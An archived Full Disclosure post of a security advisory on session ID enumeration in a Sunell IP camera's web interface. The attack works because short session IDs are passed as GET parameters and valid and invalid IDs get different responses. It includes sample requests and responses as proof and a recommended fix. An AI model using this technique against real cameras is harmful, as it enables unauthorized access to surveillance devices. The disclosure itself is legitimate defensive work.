lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 24 May 2017 14:38:07 +0000
From: Advisories <advisories@...pass-security.com>
To: "bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>,
 "bugs@...uritytracker.com" <bugs@...uritytracker.com>,
 "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Sunell IPR54/14AKDN(II)/13 IP Camera - Session ID Enumeration

#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product:  Sunell IPCAMERA IPR54/14AKDN(II)/13 [1]
# Vendor:   Shenzhen Sunell Technology Corporation
# CSNC ID: CSNC-2017-012
# Subject:  Session ID Enumeration
# Risk:       High
# Effect:    Remotely exploitable
# Author:   Stephan Sekula <stephan.sekula@...pass-security.com>
# Date:      18.04.2017
#
#############################################################

Introduction:
-------------
Sunell's IPR54/14AKDN(II)/13 is an all-in-one Bullet camera designed for indoor
and outdoor applications. Equipped with a 2MP sensor enabling viewing
resolution of 1920*1080 at a smooth 30fps.The camera is capable of capturing
high quality video at high resolution of up to 2MP even in low light environments. [1]

Compass Security discovered a web application security flaw in the camera's
web interface, which allows an attacker to enumerate valid session IDs.
This allows an attacker to effectively guess a valid session and thus, get access
to the web interface.


Affected:
---------
Vulnerable:
 * v2.0.0801.1002.1.1.136.0.0


Technical Description
---------------------
The camera's web interface expects the user's session ID to be sent via an
HTTP GET parameter (which can be cached). Furthermore, this ID is short.
This fact, in combination with the server's different responses, depending
on the ID's validity, allow an attacker to guess valid session IDs.

Request (valid session ID):
GET /asppage/common/IPC_DeviceInfo.asp?ID=56486 HTTP/1.1
Host: 192.168.0.120
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.120/asppage/common/deviceConfig.asp?ID=56486&lg=1&random=0.18069202216265423
Cookie: coobjMenuTree=Stream; csobjMenuTree=BaseStream
Connection: close

Response:
HTTP/1.0 200 OK
Server: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN
Cache-Control: max-age=180
Content-type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
[CUT]
<textarea id="XMLData" name="XMLData"  style="display:none"><MPLDCProtocol ProtocolType="1">
        <MPLDCPDeviceConfig ReturnValue="0" ErrorDescription="TK_RefreshConfigInfoSuccess" OperateType="4">
                <DeviceInfoEx User="" Password="" DeviceID="0BCF7B" IP="192.168.0.120" Port="30001" />
                <DeviceConfigID ID="DeviceConfig_DeviceInfo" />
                <ConfigItem ID="ID_UUIDFlag" Value="true" />
                <ConfigItem ID="ID_UUID" Value="111fc9f24708E" />
                [CUT]
                <ConfigItem ID="ID_DeviceModel" Value="IPR54/04AQDN/23" />
        </MPLDCPDeviceConfig>
</MPLDCProtocol>
</textarea>
[CUT]
</body>
</html>


Request (invalid session ID):
GET /asppage/common/IPC_DeviceInfo.asp?ID=56400 HTTP/1.1
Host: 192.168.0.120
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.120/asppage/common/deviceConfig.asp?ID=56486&lg=1&random=0.18069202216265423
Cookie: coobjMenuTree=Stream; csobjMenuTree=BaseStream
Connection: close

Response:
HTTP/1.0 200 OK
Server: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN
Cache-Control: max-age=180
Content-type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
[CUT]
<textarea id="XMLData" name="XMLData"  style="display:none"></textarea>
[CUT]
</head>
<body onload="initWeb();" onresize="window.top.adjustBindDivXY();">
[CUT]
                <span class="leftSpan"  id="TK_DeviceID"></span>
                <span class="rightSpan"><label id="ID_DeviceID" name="ID_DeviceID"></label></span>
            [CUT]
                <span class="leftSpan"  id="TK_DeviceName"></span>
                <span class="rightSpan">
                    <a href="javascript:submitData();"><image src="../../image/apply.png" style="height:20px;cursor:pointer;"/></a>
                </span>
                <span class="rightSpan"><input type="text" id="ID_DeviceName" name="ID_DeviceName" maxlength="32"/></span>
            &nbsp;</div>
            [CUT]
</body>
</html>


Workaround / Fix:
-----------------
This issue can be fixed by issuing longer, random session IDs, which
cannot be guessed.


Timeline:
---------
2017-05-18:     Public disclosure date
2017-04-18:     Vendor notification (No response)
2017-03-22:     Initial vendor notification (No response)
2017-03-22:     Discovery by Stephan Sekula


References:
-----------
[1] http://www.sunellsecurity.com

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ